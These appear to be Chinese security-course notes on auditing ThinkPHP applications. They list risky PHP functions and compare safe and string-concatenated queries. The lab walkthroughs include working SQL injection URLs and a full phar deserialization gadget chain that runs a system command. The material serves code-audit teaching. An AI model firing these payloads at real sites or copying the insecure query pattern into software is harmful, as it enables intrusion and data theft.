知识点:
1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞
PHP常见漏洞关键字:
SQL注入:
select insert update mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables()$$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等
通用关键字:
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等
MVC不局限于语言,其他语言也都有。
MVC流程:
1、Controller截获用户发出的请求;
2、Controller调用Model完成状态的读写操作;
3、Controller把数据传递给View;
4、View渲染最终结果并呈献给用户。
MVC各层职能:
1、控制器Controller层–负责响应用户请求、准备数据,及决定如何展示数据。
2、模块Model层–管理业务逻辑和数据库逻辑。提供连接和操作数据库的抽象层(过滤一般都在这里)
3、视图View层–负责前端模版渲染数据,通过HTML方式呈现给用户(一般都是html静态文件,也有少部分php)
MVC对审计主要影响:
1、文件代码定位问题
2、代码过滤分析问题(Model层会过滤)3、前端安全发现问题
MVC开发审计入口常见方法:
搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等。
工具法:后续讲到
调试法:动态调试
框架审计总结方向:
1、版本不安全写法怎么检测
-本地复现版本写法对比(不是官方写法就是不安全写法)
-参考官方开发手册写法
2、版本自身的漏洞怎么检测
-平常多关注此类框架漏洞
https://github.com/hughink/Thinkphp-All-vuln
-配合黑盒工具检测找入口
3、版本自身的漏洞怎么利用
根据漏洞提示找满足条件实现调用
满足条件:对应的函数点和可控变量
一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞
搭建环境:
ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql
开发参考:
https://www.kancloud.cn/manual/thinkphp5_1/353946
1、解释TP框架开发的源码审计要点
2、参考开发手册学习文件目录含义
3、参考开发手册学习寻找入口文件
4、参考开发手册学习寻找URL对应文件
5、参考开发手册学习如何开启调试模式
开启调试模式:/config/app.php
'app_debug'=> true,
'app_trace'=> true,
6、参考开发手册学习官方写法和不安全写法。
数据库查询操作
官方写法 预编译机制
public function login(Request $request){$id=$request->param('id');$data=Db::table('cw_admin')->where('id',$id)->find();return$data['user'].'|'.$data['pass'];}
从代码中看并无任何过滤,但是实际并不存在SQL注入。这就是框架和原生不同的地方。
不安全写法 拼接写法
public function login1(Request $request){$id=$request->param('id');$data=Db::table('cw_admin')->where("id = $id")->find();return$data['user'].'|'.$data['pass'];}
报错注入语句:
/index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23
不安全写法 纯原生开发
版本漏洞 反序列化phar
public function file_check(Request $request){$filename=$request->param('f');
file_exists($filename);}
反序列化:
index.php/index/xiaodi/file_check?f=phar://./1.png
二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入
搭建环境:
Phpstudy_Pro+PHP7.3+Apache+Mysql
1、查看版本-thinkphp/base.php(搜version找)
define('THINK_VERSION', '5.0.24');
2、找不安全写法-搜where找拼接&黑盒工具
文件:application/bbs/controller/User.php
方法:xiaoxidel
参数:ids id
先登录看下路由地址
3、application/bbs/controller/User.php(需要注册个用户才能触发)
index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
问题在where语句是直接拼接SQL-where("id ={$id}")
如改为数组的传参就能修复此处问题-where("id",$id)
黑盒工具-入口不安全写法-SQL注入
文件:application/bbs/controller/User.php
方法:home
参数:ids id
/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入
搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql
1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)
const THINK_VERSION ='3.2.3';
2、版本漏洞-SQL注入
https://www.freebuf.com/articles/web/345544.html
3、找利用点-搜实现关键字
Application/Admin/Controller/ArticleController.class.php
$data= M('Article')->find(I('id'));
4、Poc构造-利用数据库监控组合注入
/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#
四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化
搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql
1、查看版本-thinkphp/library/think/App.php(搜version找)
const VERSION ='5.1.41 LTS';
2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)
109.php
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files){$this->files = array($files);}}}
namespace think\model\concern {
trait Conversion
{
protected $append= array("smi1e"=>"1");}
trait Attribute
{
private $data;
private $withAttr= array("smi1e"=>"system");
public functionget(){$this->data = array("smi1e"=>"notepad");}}}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;}}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function__construct(){$this->get();}}}
namespace {$conver= new think\model\Pivot();$a= new think\process\pipes\Windows($conver);$phar= new Phar('x.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();}
?>
3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
路由逻辑分析
/admin.php/update/rmdirr.html?
dirname=phar://./public/upload/menubg/6543297dcccb9.png
实战当中需要前台注册一个用户上传jpg文件(把phar后缀改为png后缀)
版权归原作者 SuperherRo 所有, 如有侵权,请联系我们删除。